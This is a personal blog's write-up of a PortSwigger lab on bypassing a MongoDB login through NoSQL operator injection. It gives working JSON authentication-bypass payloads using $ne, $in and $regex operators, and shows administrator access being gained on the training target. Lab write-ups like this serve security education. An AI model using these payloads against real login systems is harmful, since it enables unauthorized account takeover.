Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Exploiting NoSQL operator injection to bypass authentication | October 9, 2023

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting NoSQL operator injection to bypass authentication! Without further ado, let’s dive in.

Background

The login functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection using MongoDB operators.

To solve the lab, log into the application as the administrator user.

You can log in to your own account using the following credentials: wiener:peter.

Enumeration

Home page:

In here, we can view some products.

Login page:

Let’s try to login as user wiener normally:

As expected, it redirected to the user’s profile page.

Burp Suite HTTP history:

When we clicked the “Log In” button, it’ll send a POST request to /login with parameter username and password in JSON format.

NoSQL operator injection:

NoSQL databases often use query operators, which provide ways to specify conditions that data must meet to be included in the query result. Examples of MongoDB query operators include:

You may be able to inject query operators to manipulate NoSQL queries. To do this, systematically submit different operators into a range of user inputs, then review the responses for error messages or other changes.

Submitting query operators:

In JSON messages, you can insert query operators as nested objects. For example, {"username":"wiener"} becomes {"username":{"$ne":"invalid"}}.

For URL-based inputs, you can insert query operators via URL parameters. For example, username=wiener becomes username[$ne]=invalid. If this doesn’t work, you can try the following:

  1. Convert the request method from GET to POST.
  2. Change the Content-Type header to application/json.
  3. Add JSON to the message body.
  4. Inject query operators in the JSON.

Note:

You can use the Content Type Converter extension to automatically convert the request method and change a URL-encoded POST request to JSON.

Detecting operator injection in MongoDB:

Consider a vulnerable application that accepts a username and password in the body of a POST request:

{
    "username": "wiener",
    "password": "peter"
}

Test each input with a range of operators. For example, to test whether the username input processes the query operator, you could try the following injection:

{
    "username":{
        "$ne": "invalid"
    },
    "password": {"peter"}
}

If the $ne operator is applied, this queries all users where the username is not equal to invalid.

If both the username and password inputs process the operator, it may be possible to bypass authentication using the following payload:

{
    "username":{
        "$ne": "invalid"
    },
    "password":{
        "$ne": "invalid"
    }
}

This query returns all login credentials where both the username and password are not equal to invalid. As a result, you’re logged into the application as the first user in the collection.

To target an account, you can construct a payload that includes a known username, or a username that you’ve guessed. For example:

{
    "username":{
        "$in":[
            "admin",
            "administrator",
            "superadmin"
        ]
    },
    "password":{
        "$ne": ""
    }
}

Now, let’s try to login as user wiener but with an incorrect password:

It respond to us with “Invalid username or password”.

We can try to detect operator injection in MongoDB with the following payload:

{
    "username": "wiener",
    "password":{
        "$ne": "foobar"
    }
}

It redirected us to the profile page! Which means the login page is vulnerable to authentication bypass via MongoDB operator injection!

Exploitation

Let’s try the same thing but with username administrator!

{
    "username": "administrator",
    "password":{
        "$ne": "foobar"
    }
}

Wait what? “Invalid username or password”?

Maybe we can guess the administrator account’s username with a guessable name via $in operator?

{
    "username":{
        "$in":[
            "admin",
            "administrator",
            "superadmin"
        ]
    },
    "password":{
        "$ne": "foobar"
    }
}

Nope.

We can also use regular expression (regex) to search through a pattern:

{
    "username":{
        "$regex": "admin.*"
    },
    "password":{
        "$ne": "foobar"
    }
}

Oh! We have a hit for user admindswdtg2i!

Let’s repeat the request in our current browser session!

We successfully bypass the authentication and got the administrator account!

Conclusion

What we’ve learned:

  1. Exploiting NoSQL operator injection to bypass authentication